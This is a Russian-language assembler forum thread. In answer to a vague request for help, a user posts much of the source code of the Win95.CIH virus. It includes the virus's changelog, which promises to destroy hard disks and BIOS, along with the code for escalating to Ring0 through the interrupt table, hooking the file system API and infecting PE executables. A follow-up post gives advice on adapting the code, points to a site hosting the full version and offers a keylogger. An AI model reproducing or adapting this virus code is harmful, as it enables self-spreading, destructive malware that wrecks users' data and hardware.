![]() |
|
|
![]()
|
|
| Mike |
|
|||
|
Новичок Профиль Группа: Участник Сообщений: 2 Регистрация: 9.8.2002 Репутация: нет Всего: нет |
Люди помогите мне разобраться с этим
на ассемблере |
|||
|
||||
| FdX |
|
|||
|
Unregistered |
Подожди, подожди...
А што ты пишешь? Если VxD - почитай хелп, который обычно поставляется с DDK. Способов дохрена там. Можно вручную исправить IDT, можно вроде даже DPMI юзать. Посмотри SIDT и другие команды. Если пишеш ехе-шник под вин95/98 - то сложно, а под NT тока драйвером. Ехе-шником не выйдет. Вот исходник Win95.CIH. Разберись, надеюсь он тебе поможет. ; **************************************************************************** ; * Информация о программе * ; **************************************************************************** ; * * ; * Дизайнер : CIH Источник: TTIT TATUNG, Тайвань * ; * Дата Создания: 04/26/1998 Версия: 1.4 * ; * Время последней модификации: 05/31/1998 * ; * * ; * Turbo Assembler 4.0 : tasm /m cih * ; * Turbo Link 3.01 : tlink /3 /t cih, cih.exe * ; * * ; *==========================================================================* ; История модификаций ; *==========================================================================* ; * v1.0 1. Создать Вирус. * ; * 2. Вирус модифицирует IDT для достижения привилегий Ring0 * ; * 04/26/1998 3. Вирус не загружается повторно. * ; * 4. Вызывает IFSMgr_InstallFileSystemApiHook для внедрения в * ; * фйловую систему. * ; * 5. Изменяет точку входа в IFSMgr_InstallFileSystemApiHook. * ; * 6. Если операционная система открывает файл, он будет * ; * заражен, и не будет заражен повторно. * ; * 7. Файл будет заражен если он Read-Only. * ; * 8. Если файл заражаеся - его Дата и Время Модификации * ; * не будут изменены. * ; * 9. Когда вирус вызывает IFSMgr_Ring0_FileIO, он не будет * ; * вызывать предыдущий FileSystemApiHook, он вызовет функцию* ; * которую IFS Менеджер будет вызывать,чтобы выполнить * ; * обычный запрос Ввода/Вывода. * ; * 10. Размер Вируса 656 Байт. * ; *==========================================================================* ; * v1.1 1. Длинна файла не изменяется при заражении. * ; * 05/15/1998 2. Перехватывается Structured Exception Handing (SEH). * ; * Если возникает ошибка исключения, то ОС - скорее всего * ; * Windows NT. Так что наш прикольный вирус не будет * ; * продолжать Свое Дело :) он передаст управление * ; * оригинальной программе. * ; * 3. Использован лучший алгоритм. Размер вируса уменьшен. * ; * 4. "Базовый" размер вируса 796 Баит. * ; *==========================================================================* ; * v1.2 1. Убить все жесткие диски, и BIOS... Все... Hахуй... * ; * 2. Исправлен баг в v1.1 * ; * 05/21/1998 3. "Базовый" размер вируса 1003 Байт. * ; *==========================================================================* ; * v1.3 1. Исрпавлен баг с ошибкой WinZip Self-Extractor'a * ; * Теперь эти файлы не заражаются. * ; * 05/24/1998 2. "Базовый" размер вируса 1010 Байт. * ; *==========================================================================* ; * v1.4 1. Баг с WinZip Self-Extractor полностью исправлен. * ; * 2. Изменена дата стабатывания "сюрприза". * ; * 05/31/1998 3. Исправлена версия Copyright. * ; * 4. "Базовый" размер вируса 1019 Байт. * ; **************************************************************************** .586P ; **************************************************************************** ; * Оригинальный PE файл (Hе стоит модифицировать эту секцию) ; **************************************************************************** OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS ; ---------------------------------------------------------------------------- ; Моя игра в вирусы ; ---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Определение констант ;---------------------------------------------------------------------------- TRUE = 1 FALSE = 0 DEBUG = TRUE MajorVirusVersion = 1 MinorVirusVersion = 4 VirusVersion = MajorVirusVersion*10h+MinorVirusVersion IF DEBUG FirstKillHardDiskNumber = 81h HookExceptionNumber = 05h ELSE FirstKillHardDiskNumber = 80h HookExceptionNumber = 03h ENDIF FileNameBufferSize = 7fh ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ;---------------------------------------------------------------------------- ; Инициализация на Кольце 3 (Ring3) ;---------------------------------------------------------------------------- MyVirusStart: push ebp ;---------------------------------------------------------------------------- ; Модифицируем Structured Exception Handing, для предотвращения ошибки ; исключения, особенно на windows NT. ;---------------------------------------------------------------------------- lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ;---------------------------------------------------------------------------- ; Модификация IDT (Interrupt Descriptor Table - таблицы дескрипторов ; прерываний) для достижения привилегий Ring0 ;---------------------------------------------------------------------------- push eax ; sidt [esp-02h] ; Получить базовый адрес IDT pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, [ebx] ; Получить базу ; прерывания/исключения mov bp, [ebx-04h] ; и точку входа lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Перехватить прерывание mov [ebx+02h], si ; наша точка входа pop esi ;---------------------------------------------------------------------------- ; Сгенерируеи исключение, чтоб перейти на Кольцо0 ;---------------------------------------------------------------------------- int HookExceptionNumber ; Генерируем ReturnAddressOfEndException = $ ;---------------------------------------------------------------------------- ; Обьединим все кодовые секции вируса ;---------------------------------------------------------------------------- push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi ;---------------------------------------------------------------------------- ; Генерируем исключение снова ;---------------------------------------------------------------------------- int HookExceptionNumber ; Генерируем снова ;---------------------------------------------------------------------------- ; Восстановим Structured Exception Handing (SEH) назад ;---------------------------------------------------------------------------- ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE ;---------------------------------------------------------------------------- ; Когда возникнет Ошибка Исключения, наша ОС должно быть - Windows NT ; Так что мой миленький :) вирус не будет работать дальше, а вернет ; управление оригинальному приложению ;---------------------------------------------------------------------------- StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ;---------------------------------------------------------------------------- ; Возвратить управление программе ;---------------------------------------------------------------------------- pop ebp push 00401000h ; Точка входа OriginalAddressOfEntryPoint = $-4 ; в оригинальную программу ret ; Возвратить управление ;---------------------------------------------------------------------------- ; Инициализация на кольце 0 ;---------------------------------------------------------------------------- MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ;---------------------------------------------------------------------------- ; Запущена ли другая копия !? ;---------------------------------------------------------------------------- mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ;---------------------------------------------------------------------------- ; Возвратиться в программу инициализации на Кольце0 ;---------------------------------------------------------------------------- ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Восстановить прерывание mov [ebx+02h], bp ; iretd ;---------------------------------------------------------------------------- ; Выделить страницу системной памяти ;---------------------------------------------------------------------------- AllocateSystemMemoryPage: mov dr0, ebx ; Поставим метку, что вирус ; уже запущен push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Использует EAX, ECX, EDX, ; и флаги add esp, 08h*04h xchg edi, eax ; EDI = Hачальный адрес ; выделенной памяти lea eax, MyVirusStart-@2[esi] iretd ; Возвратиться в программу инициализации ; на Кольце0 ;---------------------------------------------------------------------------- ; Установить мой обработчик API файловой системы ;---------------------------------------------------------------------------- InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Использует EAX, ECX, EDX, ; и флаги mov dr0, eax ; сохранить адрес старого ; обработчика ; (OldFileSystemApiHook) pop eax ; EAX = адрес FileSystemApiHook ; Сохранить старый адрес процедуры перехвата ; сервисов файловой системы ; (IFSMgr_InstallFileSystemApiHook) mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx ; Перехватить запросы на установку нового ; обработчика API файловой системы ; (IFSMgr_InstallFileSystemApiHook) lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax cli jmp ExitRing0Init ;---------------------------------------------------------------------------- ; Размер загрузчика, котрый склеивает все части вируса ;---------------------------------------------------------------------------- CodeSizeOfMergeVirusCodeSection = offset $ ;---------------------------------------------------------------------------- ; Обработчик сервиса перехвата API файловой системы ; IFSMgr_InstallFileSystemApiHook ;---------------------------------------------------------------------------- InstallFileSystemApiHook: push ebx call @4 ; @4: ; pop ebx ; mov ebx, offset FileSystemApiHook add ebx, FileSystemApiHook-@4 ; push ebx ; временно удалить наш обработчик int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Использует EAX, ECX, EDX, ; и флаги pop eax ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook ; чтобы добавить запрошенный клиентом обработчик push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax ; Вызвать оригинальный IFSMgr_InstallFileSystemApiHook ; чтобы добавить наш обработчик сверху всех push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov dr0, eax ; Изменить адрес старого ; обработчика API файловой ; системы ; (OldFileSystemApiHook) pop eax pop ebx ret ;---------------------------------------------------------------------------- ; Статические (неподвижные) данные ;---------------------------------------------------------------------------- OldInstallFileSystemApiHook dd ? ;---------------------------------------------------------------------------- ; Обработчик API файловой системы (IFSMgr_FileSystemHook) ;---------------------------------------------------------------------------- ;---------------------------------------------------------------------------- ; Точка входа в IFSMgr_FileSystemHook ;---------------------------------------------------------------------------- FileSystemApiHook: @3 = FileSystemApiHook pushad call @5 ; @5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-@5 ;------------------------------------ ; Поставлен ли флажек занятости!? ;------------------------------------ test byte ptr (OnBusy-@6)[esi], 01h ; если поставлен - jnz pIFSFunc ; исполнить запрошенную функцию ; (goto pIFSFunc) ;------------------------------------ ; Запрос на открытие файла (OpenFile)!? ;------------------------------------ ; Если это не открытие файла - ; исполнить оригинальный обработчик ; (goto prevhook) lea ebx, [esp+20h+04h+04h] cmp dword ptr [ebx], 00000024h jne prevhook ;------------------------------------ ; Включить флажек занятости ;------------------------------------ inc byte ptr (OnBusy-@6)[esi] ;---------------------------------------------------------------------------- ; Получить номер диска из ПутиКФайлу ; и установить имя диска в Буфере (FileNameBuffer) ;------------------------------------ ; Hапример. если HомерДиска 03h, ; - Имя диска 'C:' ;---------------------------------------------------------------------------- ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 push esi mov al, [ebx+04h] cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ':' mov [esi], eax inc esi inc esi ;--------------------------------------------------------------------------* ; UniToBCSPath ;--------------------------------------------------------------------------* ; Этот сервис конвертирует Канонизированный Unicode путь ; в нормальный в выбранной кодовой странице BCS ;--------------------------------------------------------------------------* CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h ;------------------------------------ ; имя файла кончается на '.EXE' !? ;------------------------------------ ; cmp [esi+eax-04h], '.EXE' cmp [esi+eax-04h], 'EXE.' pop esi jne DisableOnBusy IF DEBUG ;------------------------------------ ; Только для отладки ;------------------------------------ ; cmp [esi+eax-06h], 'FUCK' cmp [esi+eax-06h], 'KCUF' jne DisableOnBusy ENDIF ;------------------------------------ ; открывается уже существующий файл!? ;------------------------------------ ; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx+18h], 01h jne DisableOnBusy ;------------------------------------ ; получить аттрибуты файла ;------------------------------------ mov ax, 4300h int 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $ dd 00400032h jc DisableOnBusy push ecx ;------------------------------------ ; получить адрес файлового сервиса ввода-вывода ; (IFSMgr_Ring0_FileIO) ;------------------------------------ mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi] ;------------------------------------ ; Файл только для чтения!? ;------------------------------------ test cl, 01h jz OpenFile ;------------------------------------ ; переставить в чтение-запись ;------------------------------------ mov ax, 4301h xor ecx, ecx call edi ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; открыть файл ;------------------------------------ OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx xor edx, edx inc edx mov ebx, edx inc ebx call edi ; VXDCall IFSMgr_Ring0_FileIO xchg ebx, eax ; mov ebx, FileHandle ; хендл файла в ebx ;------------------------------------ ; Hадо ли восстановить атрибуты файла? ;------------------------------------ pop ecx pushf test cl, 01h jz IsOpenFileOK ;------------------------------------ ; Восстановить атрибуты ;------------------------------------ mov ax, 4301h call edi ; VXDCall IFSMgr_Ring0_FileIO ;------------------------------------ ; Файл открыт? ;------------------------------------ IsOpenFileOK: popf jc DisableOnBusy ;------------------------------------ ; Если открытие файла прошло удачно ;------------------------------------ push esi ; Сохраним адрес буфера ; (с именем файла) в стек ; (FileNameBuffer) pushf ; Теперь CF = 0, Сохранить флаги add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ;-------------------------- ; получить смещение до NE-заголовка ;-------------------------- xor eax, eax mov ah, 0d6h ; Чтобы минимизировать код ; я сохраняю EAX в EBP. mov ebp, eax push 00000004h pop ecx push 0000003ch pop edx call edi ; VXDCall IFSMgr_Ring0_FileIO mov edx, [esi] ;---------------------------------------------------------------------------- ; Получить 'PE\0' сигнатуру из заголовка файла ; и метку заражения ;---------------------------------------------------------------------------- dec edx mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ;---------------------------------------------------------------------------- ; Это PE !? ;-------------------------- ; Файл уже заражен ?! ;-------------------------- ; самораспаковывающиеся WinZip архивы ; не имеют метки заражения, потому что мой вирус не заражает их ;---------------------------------------------------------------------------- ; cmp [esi], '\0PE\0' cmp dword ptr [esi], 00455000h jne CloseFile ;---------------------------------------------------------------------------- ; Файл - PE (Portable Executable) ;------------------------------------ ; Файл также не заражен ;------------------------------------ ;------------------------------------ ; Hачать заражение ;------------------------------------ ; Статус использования регистров ; в этот момент: ; EAX = 04h ; EBX = Хэндл файла ; ECX = 04h ; EDX = (позиция в файле) указывает на 'PE\0\0'-сигнатуру в заголовке файла ; ESI = адрес буфера данных ==> @8 ; EDI = адрес обработчика IFSMgr_Ring0_FileIO ; EBP = D600h ==> Считать данные из файла ;---------------------------------------------------------------------------- ; Стек: ; * ; ESP => ------------------------- * ; | EFLAG(CF=0) | * ; ------------------------- * ; | FileNameBufferPointer | * ; ------------------------- * ; | EDI | * ; ------------------------- * ; | ESI | * ; ------------------------- * ; | EBP | * ; ------------------------- * ; | ESP | * ; ------------------------- * ; | EBX | * ; ------------------------- * ; | EDX | * ; ------------------------- * ; | ECX | * ; ------------------------- * ; | EAX | * ; ------- |
|||
|
||||
| FdX |
|
|||
|
Unregistered |
Похоже полный сорец не влезает, но тебе начала хватит.
Если хочешь полный, он есть на hack-it.by.ru Если будешь юзать это, не надо просто копировать из сорца в свою прогу. Робить не будет. И необязательно выделять себе область памяти и копироваться туда. Можно без этого. Если будут сложности, пиши на форум, я может низкоуровневый кейлоггер выложу, когда допишу его. |
|||
|
||||
![]()
|
| Правила форума "Asm: Общие вопросы" | |
|
|
Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, MAKCim. |
| 0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей) | |
| 0 Пользователей: | |
| « Предыдущая тема | Asm: Общие вопросы | Следующая тема » |
|
|
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности Powered by Invision Power Board(R) 1.3 © 2003 IPS, Inc. |